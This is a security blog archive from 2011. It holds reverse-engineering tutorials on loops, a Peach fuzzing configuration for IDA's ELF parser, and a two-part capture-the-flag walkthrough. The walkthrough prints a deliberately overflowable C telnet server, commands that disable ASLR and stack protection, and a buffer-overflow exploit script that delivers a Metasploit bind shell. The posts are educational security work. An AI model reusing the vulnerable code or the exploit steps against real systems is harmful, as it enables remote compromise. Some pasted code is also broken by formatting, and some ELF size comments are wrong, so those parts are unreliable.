Thursday, December 29, 2011

Binary Auditing part 2, Identifying For Loops

In this exercise, we are concentraing on identifying For Loops. In assembly, they can look considerably different than while and do loops.

We start at the address 00401004, where the author of the program is setting up a variable to count how many times we've iterated through the loop:

move [ebp+var_4], 0

The next instruction is a jump to 00401016, where we compare the value of what's in var_4 with 0Ah (which is 10, written in hexidecimal and denoted as such with the 'h'). If that comparision is true, it will jump to 0040102C; however, the value of var_4 is current 0, so the evaluation returns false and we move on to the next instructions:

push offset Format
call ds:printf

The two above commands simply push what's at the value of Format (which is the text "The for loop\n") and then call printf. For a referesher on this, take a look at the previous exercise.

The program then adds 4 to the current stack pointer (esp) and performs a jump to location 0040100D, which is technically the end of the for loop. At this location, the program is keeping track of how many times we've iterated through the loop by adding 1 to the counter, which is var_4:

mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax

In the next instruction, we return to the beginning of the for loop where it is comparing if var_4 (our loop counter variable) is equal to 10. At this point in the tutorial, it's equal to 1, so the for loop continues.

In C, this program looks like:

for (i = 0; i < 10; ++i)
  printf("The for loop\n");
return 0;

Wednesday, December 28, 2011 tutorials, part 1

Take a look at . They've got some kick ass exercises, it just lacks walk throughs at the moment. We started going through them, documenting what we thought they were trying to teach. We're not experts by any means, so feel free to make comments with any corrections. Also, if something doesn't make sense, I want to make these tutorials better. So ask questions.

Their exercises say to start with the contents in the folder "003.02 - hll mapping". This post is about "assessment A01 - easy - Identifying while-do Loops .exe":

We see the program starts by setting up the stack, as previously covered in "binary-auditing-beginners-guide.pdf".

We also see var_4 being declared as a dword, and being the only variable declared.

In this tutorial, we're going to introduce using the program's address space to identify lines, instead of using line 1, line 2, etc. On the left side in IDA, you
see a hexidecimal (base16) value after ".text:". The .text is part of a normal PE File. (Here is a good timefor you to research other sections of a standard PE File). After
IDA tells us the section of the PE File we're in, the hexidecimal address is a way of keeping track of where in the program you or the computer is. As covered earlier,
the "int __cdecl main..." line is the declaration of the program. To the left, you will see the base address of the program (00401000, which can also be written as
0x401000 or 401000h). The first real instruction occurs here, and that is "push ebp".

Looking at the instruction that occurs at 0x401004 (mov [ebp+var_4], 0), this is where the programmer started. Here, the programmer declares he wants to move the value of 0
into the address space occupied by var_4.

eax = 0
ecx = 0

ECX is commonly used as the "counting register". Most often you'll see it used in loops, such as below.

At 0040100B, you see IDA declares this as loc_40100B. IDA will set this up when it clearly sees a jmp is occuring. mov eax, [ebp+var_4] is the first instruction in the loop,
therefore it shares the loc's address. If you recall earlier, var_4 was initialized as 0. Therefore, the next two lines set eax and ecx to 0:

mov eax, [ebp+var_4]
mov ecx, [ebp+var_4]

ecx is then added to with 1 and that value is put into the memory space of var_4:

add ecx, 1
mov [ebp+var_4], ecx

At 00401017, we see the comparision being made. This is essential to all loops, even infinite loops.

cmp eax, 0Ah

0A is hex, and the 'h' stands for hex. 0A is equivilient to 10 in base10. In the following line, we see that if eax is greater than 10, we are to jump to the next location

At 0040101C, we have 'push offset Format'. Format is a char located at 004020DC, in the PE File's rdata section. Format is pushed onto the stack, then we call the function
printf. By pushing the data contained in Format onto the stack before calling printf, we are passing this as an argument to printf. The printf function only takes one call,
so it will only take in the last data on the stack. (example:

** Exercise ** Find out more about the PE File and it's sections. (A good reference:

while var_4 < 10 do
  printf("The while loop")

People who are contributing to these tutorials: @jackcr, @vulp1n3, @vilkas64, @jsherenco, Brad Nottle, @bl4ck_0ut and myself (@jbc22).

Friday, July 29, 2011

Lizamoon/Willsy Detection

Between Lizamoon and Willsy, looking for worms spreading through web attacks on a large number of domains can suck. Using postmodern's gscraper, I wrote a quick script that can check for infection using the same techniques as google-hacking.

It's located at . Inside the script, there's a place for you to change the query strings based upon what the current worm does. In the case of Willysy, it's needed to check for:

 (For a writeup, see:

Friday, February 25, 2011

Fuzzing the ELF32 file format with Peach, part 2

Below is the Peach pit for fuzzing the ELF32 file format with use in IDA Pro. Thanks to the Peach mailing list for their help in troubleshooting some issues! You will need Peach (, IDA Pro and Debugging Tools for Windows (

<?xml version="1.0" encoding="utf-8"?>
<Peach xmlns="" xmlns:xsi=""
xsi:schemaLocation=" ../peach.xsd" version="1.0"
author="J. Brett Cunningham">

<!-- Import defaults for Peach instance -->
<Include ns="default" src="file:defaults.xml" />

<!-- Define our file format DDL -->
<DataModel name="FileData">

<!-- Elf Magic Number in the Header (e_ident), static and non-configurable -->
<Blob name="MagicNumber" valueType="hex" value="7F 45 4C 46" token="true" />

<!-- Rest of e_ident -->
<Blob name="EI_CLASS" valueType="hex" value="02" />
<Number name="EI_DATA" valueType="hex" value="01" />
<Number name="EI_VERSION" valueType="hex" value="01" />
<Number name="EI_PAD" valueType="hex" value="00 00 00 00 00 00 00 00 00" />
<!-- End of e_ident -->

<!-- Rest of Elf Header -->
<Number name="e_type" size="16" signed="false" endian="little" />
<Number name="e_machine" size="16" signed="false" endian="little" />
<Number name="e_version" size="32" signed="false" endian="little" />
<Number name="e_entry" size="32" signed="false" endian="little" />
<Number name="e_phoff" size="32" signed="false" endian="little" />
<Number name="e_shoff" size="32" signed="false" endian="little" />
<Number name="e_flags" size="32" signed="false" endian="little" />
<Number name="e_ehsize" size="16" signed="false" endian="little" />
<Number name="e_phentsize" size="16" signed="false" endian="little" />
<Number name="e_phnum" size="16" signed="false" endian="little" />
<Number name="e_shentsize" size="16" signed="false" endian="little" />
<Number name="e_shnum" size="16" signed="false" endian="little" />
<Number name="e_shstrndx" size="16" signed="false" endian="little" />

<!-- Define a simple state machine that will write the file and
then launch a program using the FileWriterLauncher publisher -->
<StateModel name="State" initialState="Initial">
<State name="Initial">
<Action type="open" />

<!-- Write out contents of file -->
<Action name="WriteFile" type="output" publisher="file" >
<DataModel ref="FileData" />

<!-- Close file -->
<Action type="close" publisher="file" />

<!-- Launch the file consumer -->
<Action type="call" method="ida.exe" publisher="launch"/>

<Agent name="LocalAgent" location="">

<Monitor class="debugger.WindowsDebugEngine">
<Param name="ProcessName" value="idag.exe" />


<Test name="TheTest">
<Agent ref="LocalAgent" />

<StateModel ref="State"/>

<!-- Configure our publisher with correct filename to write too -->
<Publisher class="file.FileWriter" name="file">
<Param name="fileName" value="fuzzedfile" />

<Publisher class="process.DebuggerLauncherGui" name="launch">
<Param name="windowName" value="IDA" />

<Run name="DefaultRun">
<Test ref="TheTest" />
<!-- TODO: Change log path if needed -->
<Logger class="logger.Filesystem">
<Param name="path" value="logs"/>

<!-- end -->

Monday, February 14, 2011

Fuzzing the ELF32 file format with Peach


In light of the recent announcement by Hex Rays of their bug bounty program (, we will be attempting to fuzz the ELF32 file format and IDA Pro. The hope is to find a bug in IDA Pro when it opens an ELF32 file, specifically in it's file format parsing functionality. We will use the common Peach fuzzer ( to accomplish this. When using Peach, one must first create what's called a "Data Model" ( Data Models describe how the struct of the file (or protocol) that you're fuzzing should look. Typically you create a Data Model that conforms with what you're fuzzing (be it ELF32 binaries, HTTP communication, BGP packets). After that, you start changing bits around, hoping to catch the program off-guard and finding a condition the program wasn't expecting.

(2) (32-bit)
(3) (Variable types and their size in bytes)
(4) (32-bit ELF file format specification)
(5) (64-bit)


The ELF file format is the common file type for executable programs (see Reference 1), like Microsoft's PE file for files with the file extension "exe". The ELF header is set up as a C structure (see Reference 2, the comment that says ELF Header). The same reference will describe the length of each variable type definition (you see it on that page as typedef).

The ELF Header structure:

* ELF definitions common to all 32-bit architectures.

typedef u_int32_t Elf32_Addr; // 4 bytes
typedef u_int16_t Elf32_Half; // 2 bytes
typedef u_int32_t Elf32_Off; // 8 bytes
typedef int32_t Elf32_Sword; // 8 bytes
typedef u_int32_t Elf32_Word; // 8 bytes
typedef u_int32_t Elf32_Size; // 8 bytes

* ELF header.

typedef struct {
unsigned char e_ident[EI_NIDENT]; /* File identification. */
Elf32_Half e_type; /* File type. */
Elf32_Half e_machine; /* Machine architecture. */
Elf32_Word e_version; /* ELF format version. */
Elf32_Addr e_entry; /* Entry point. */
Elf32_Off e_phoff; /* Program header file offset. */
Elf32_Off e_shoff; /* Section header file offset. */
Elf32_Word e_flags; /* Architecture-specific flags. */
Elf32_Half e_ehsize; /* Size of ELF header in bytes. */
Elf32_Half e_phentsize; /* Size of program header entry. */
Elf32_Half e_phnum; /* Number of program header entries. */
Elf32_Half e_shentsize; /* Size of section header entry. */
Elf32_Half e_shnum; /* Number of section header entries. */
Elf32_Half e_shstrndx; /* Section name strings section. */
} Elf32_Ehdr;

Sample file: /usr/bin/top
see: man top(1)

$ readelf -h /usr/bin/top
ELF Header:
Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
Class: ELF32
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: EXEC (Executable file)
Machine: Intel 80386
Version: 0x1
Entry point address: 0x8049740
Start of program headers: 52 (bytes into file)
Start of section headers: 61808 (bytes into file)
Flags: 0x0
Size of this header: 52 (bytes)
Size of program headers: 32 (bytes)
Number of program headers: 8
Size of section headers: 40 (bytes)
Number of section headers: 32
Section header string table index: 31

standard elf header e_ident:
magic number: 0x7f
E = 45
L = 4C
F = 46

EI_CLASS = 01 (32-bit objects)
1 byte
Means it's capable of 32-bit
Valid input is integers 0-2

1 byte
2's complement, meaning little endian
Valid input is integers 0-2

Must be the value of EV_CURRENT

EI_PAD = 00
Set to 0's, it's the beginning of unused bytes for the rest of e_ident

** end of e_ident **

e_type = 02 00
2 bytes
EXEC (Executable file)
From EI_DATA, we know this is little endian format. So it actually reads "00 02".
Valid input is 0-4, 0xff00, 0xffff.

e_machine = 03 00 (again in little endian, "00 03")
2 bytes
00 03 has the name "EM_386" meaning Intel 80386
Valid input is 0-8.

e_version = 01 00 00 00
4 bytes
Valid input is 0 and 1

e_entry = 40 97 04 08
4 bytes
Virtual Address to transfer control to the system

e_phoff = 34 00 00 00
4 bytes
Offset to the program's header table in bytes

e_shoff = 70 F1 00 00
4 bytes
Section header table's file offset in bytes

e_flags = 00 00 00 00
4 bytes
Machine flag information.
This is read 1 byte at a time, valid bytes must be 00 or 01. ie.: 00 01 00 01, 01 00 00 00, 00 01 01 00. Page 1-12 of Reference 4.

e_ehsize = 34 00
2 bytes
The size of the ELF header (in bytes).

e_phentsize = 20 00
2 bytes
This describes the size of an entry in the file's program header table, with all entries in that table being of the exact same size.

e_phnum = 08 00
2 bytes
This describes the number of entries in the program's header table. Additional tidbit: The header's table size in bytes can be determined by multiplying e_phentsize and e_phnum.

e_shentsize = 28 00
2 bytes
This is the size of the section headers (in bytes). All section headers are the same size.

e_shnum = 20 00
2 bytes
Number of entries in the section header table. Additional tidbit: Multiply e_shentsize and e_shnum, you have the section header's table size (again, in bytes).

e_shstrndx = 1F 00
2 bytes
The index of the section header table entry, containing the section name string table.
Valid input is 00. I believe any combination is also valid. Or in Reference 4, page 1-16, Figure 1-15.

On the next post, we will post the Data Model for use with Peach using the above as a template. As this is a new field of exploration for me, please note inaccuracies may occur. If any are spotted, feel free to help us and others out by commenting!

Sunday, February 13, 2011

In the beginning ( Part 2)

So with the buffer overwritten we need to generate a pattern so that we can find the location within the buffer that controls the register that we want: EIP.
There are many programs that can do this but for this example we are going to demonstrate metasploit's pattern create. So we generate a 600 byte pattern by running..

pattern_create.rb 600

Nice, we get a clean pattern that we can now use in our skeleton file so that we can throw at the application. We can add this pattern to the last python code that we used in the "buffer=" location. After we ran this again within the debugger, we can see the eip location is filled with 41387141.

Now we can feed this back into metaploit either as converted or strait hex. I converted the hex and fed this back into metasploit. This is how I converted the hex.

Echo -e "\x41\x71\x38\x41" | awk '{printf "%s\n", $_}'

Results = Aq8A

Now we run the pattern_offset.rb with the parameters Aq8A and we will get a offset of 504. So what does this mean? This means that at 504 is the beginning offset that starts the overwrite of eip. OK, now we have the location we can control it to do what we want. First lets test this out and create another python script that is going to write the first part of the buffer with A's and the register with B's and the rest with C's. Cool lets start


import socket

ret = "\x42\x42\x42\x42"
buffer='\x41' * 504 + ret + '\x43' * 88
print "\nSending buffer"

After we run this against the program we will see that we have successfully overwritten eip with B's or x42's. We also see that we have overwritten esp with the C's. With this in hand we can call eip to do a jump to esp where our code will reside. With gdb still running we can issue a 'disas jmp' to find out if there are any jmp esp's and we are in luck!! ..08048af5.

Ok, the truth of the matter is that it was not luck. If you look back at the code for the exploit there is a section that is written in assembly. This section is basically a false jmp esp. I added this section so that we can attack in a classic manner. Now we can see this attack is starting to form up.

It's time to start writing the exploit. The first thing that we need is exploit code. We know that the target is running Debian Linux so we need a Linux bind shell. I know we could have done more but this is easier to follow for this tutorial. We generate the code again with the metasploit's msfpayload.

Msfpayload linux/x86/shell_bind_tcp LPORT=9999 c

The results that we get are what is going to go in the location where we place the C's in the fuzzing program. Ok , let stop for a second and talk this through. First we are going throw 504 A's at the program , then we are going to throw the jmp esp and then we will throw a nop sled, and finally the exploit code.. Bingo. So lets take a look at the final code.


import socket
shellcode = ("past code here ;) ")
ret = "\xef\x8b\x04\x08"

buffer='\x41' * 504 + ret + '\x90' * 7 + shellcode

print "\nSending buffer"


With the code in place its time to launch the attack. We relaunch the program , aim , and fire. We then fire up netcat and connect to port 9999 to see what we get. A over.

As you can see this was the design from start to finish of an exploit model. I don’t plan on finding many exploits this easy in the remaining days but one can only hope. Stay tuned.

Thursday, February 10, 2011

In the beginning ( Part 1)

Remote exploit

As a first post I wanted to do a refresh one of the first trips into exploit development. As a premise, we were working on putting on a capture the flag event and wanted a homebrew software that the users would have to create there own code and would not be able to use automated tools.

The first part of this was the design of the exploitable code. jbc22 designed the majority of the code for this and I contributed a few pieces. Just as a disclaimer we know the code is not the prettiest, but it works. Aleph One's "Smashing the Stack for Fun and Profit" ( was crucial in showing us how to create an application vulnerable to a buffer overflow; however, we wanted this to be attacked over the network, instead of locally on the box. Code was borrowed and modified from Enjoy. Let me introduce the code:






#define TRUE 1

#define FALSE 0

/* network functions */




/* FD_SET, FD_ISSET, FD_ZERO macros */


void blah(char *buffer) {

char badbuffer[500];

// malloc(*badbuffer);

strcpy(badbuffer, buffer);

//printf("blah: %s", buffer);


int main()


int opt=TRUE;

int master_socket;

struct sockaddr_in address;

int addrlen;

int new_socket;

int client_socket[3000];

int max_clients=3000;

int activity, loop, loop2, valread;

char buffer[1024]; /* data buffer of 1K */

fd_set readfds;

// unsigned long esp;

// esp = sp();

char *message="Happy hacking! |tag :: blah>"; // 0x%x\n", esp;

/* initialise all client_socket[] to 0 so not checked */

for (loop=0; loop <>

client_socket[loop] = 0;


/* create the master socket and check it worked */

if ((master_socket = socket(AF_INET,SOCK_STREAM,0))==0) {

/* if socket failed then display error and exit */

perror("Create master_socket");



/* set master socket to allow multiple connections */

if (setsockopt(master_socket, SOL_SOCKET, SO_REUSEADDR,

(char *)&opt, sizeof(opt))<0)>




/* type of socket created */

address.sin_family = AF_INET;

address.sin_addr.s_addr = INADDR_ANY;

/* 7000 is the port to use for connections */

address.sin_port = htons(23);

/* bind the socket to port 7000 */

if (bind(master_socket, (struct sockaddr *)&address, sizeof(address))<0)>

/* if bind failed then display error message and exit */




/* try to specify maximum of 3 pending connections for the master socket */

if (listen(master_socket, 999)<0)>

/* if listen failed then display error and exit */




while (1==1) {


/* reason we say max_clients+3 is stdin,stdout,stderr take up the first

* couple of descriptors and we might as well allow a couple of extra.

* If your program opens files at all you will want to allow enough extra.

* Another option is to specify the maximum your operating system allows.


/* setup which sockets to listen on */

FD_SET(master_socket, &readfds);

for (loop=0; loop

if (client_socket[loop] > 0) {

FD_SET(client_socket[loop], &readfds);



/* wait for connection, forever if we have to */

activity=select(max_clients+3, &readfds, NULL, NULL, NULL);

//if ((activity <>

/* there was an error with select() */

// }

if (FD_ISSET(master_socket, &readfds)) {

/* Open the new socket as 'new_socket' */


if ((new_socket = accept(master_socket, (struct sockaddr *)&address, &addrlen))<0)


/* if accept failed to return a socket descriptor, display error and exit */




/* inform user of socket number - used in send and receive commands */

printf("New socket is fd %d\n",new_socket);

/* transmit message to new connection */

if (send(new_socket, message, strlen(message), 0) != strlen(message)) {

/* if send failed to send all the message, display error and exit */



//puts("Password guess");

/* add new socket to list of sockets */

for (loop=0; loop

if (client_socket[loop] == 0) {

client_socket[loop] = new_socket;

printf("Adding to list of sockets as %d\n", loop);

loop = max_clients;




// need to recv and compare

for (loop=0; loop

if (FD_ISSET(client_socket[loop], &readfds)) {

if ((valread = read(client_socket[loop], buffer, 1024)) <>

printf("valread: ", valread);


client_socket[loop] = 0;

} else {

/* set the terminating NULL byte on the end of the data read */

buffer[valread] = 0;

//send(client_socket[loop], buffer, strlen(buffer), 0);




* use read() to read from the socket into a buffer using something

* similar to the following:


* If the read didn't cause an error then send buffer to all

* client sockets in the array - use for loop and send() just

* as if you were sending it to one connection


* important point to note is that if the connection is char-by-char

* the person will not be able to send a complete string and you will

* need to use buffers for each connection, checking for overflows and

* new line characters (\n or \r)


// }




/* normally you should close the sockets here before program exits */

/* however, in this example the while() loop prevents getting here */


int jmp(void){

__asm__("jmp *%esp");

return 0;


//unsigned long sp(void) { __asm__("movl %esp, %eax");}

#end code#########################################################

Ok, as you can see this code is a classic example of a buffer overflow. What this program does is simulate a telnet server so that you can telnet to the computers port 23 and get a response. Great !! So now what do we do with this. Remote exploit of course. Lets start with the basics. We want to see if we can make the program crash. We are going to overflow the buffer and see what happens. He is the code for a simple fuzzer that will increment the value being thrown at the program.


import socket



while len(buffer) <=5000:



for string in buffer:

print "sending with " + str(len(string))+" bytes."






So , looking at the code what this does is send "A" s to the remote computer and keep incrementing the the counter by 5. So if we run this code that we will crash the remote computer at around value 512 hmmm.

Now we need to start and get a little dirty. We need to build the code and run it in a debugger to get the full picture. There are first things first that need to take place in order to test out the code . When first trying to exploit it, we found that the address in memory kept changing, providing a layer of complexity that we felt shouldn't be there during a very time-limited contest. After reading a paper by MWR Security (, we found that Debian had the least amount of randomization, especially when 'randomize_va_space' was disabled. So lets disable it:

sysctl -w kernel.randomize_va_space=0

Good, now that is disabled we need to compile the program with out stack protection. Stack protection is default and will help secure your code so that if there is a buffer overflow it will not allow further compromise. So lets compile with out stack protection:

gcc -fno-stack-protector program.c

Ok, now we should have a working program that should be exploitable. So now lets run the program within gdb and see what we get. As a side note yes we know there are other ways of doing this but I am presenting the most clear way.

#gdb program


Now that the program is running in the debugger lets throw a lot of A's at the program and see if we can get some buffer overwrite.


import socket

buffer='A' * 50000


print "\nSending buffer"




You will see that the program will crash with in the debugger but you will see something that is really interesting.

Those look familiar right? Yes those are our A's doing there work and overwriting registers. W0ot. Let's take a look at all the other registers and see what we get with info reg.

Well now you can see that we have over written ebp and eip. lets take a look into the registers and make sure in gdb with x/100xb $esp

So now what do we do? We need to find the location that controls eip what will point back to the code that we want to use to exploit the program. So the easy way for us to find out where eip lives is using a pattern and match up the pattern to the location. Of course I will show you.

In the next installment...

Tuesday, February 8, 2011

30 days of exploit

Welcome to 5x5 security where we are kicking off with 30 days of exploit. The idea was born after launching a CTF competition in which Brett and I worked on creating a vulnerable application. Brett worked on the majority of code and I added a few pieces here and there. We will discuss the code and the poc that was developed. Further, we worked with several applications and found potential vulnerabilities that we wanted to research further. We also plan on entertaining the idea of hardware exploit dev. In the end, we hope to learn a lot and plan on sharing our findings or not findings with you.

Charles Pfaff
Brett Cunningham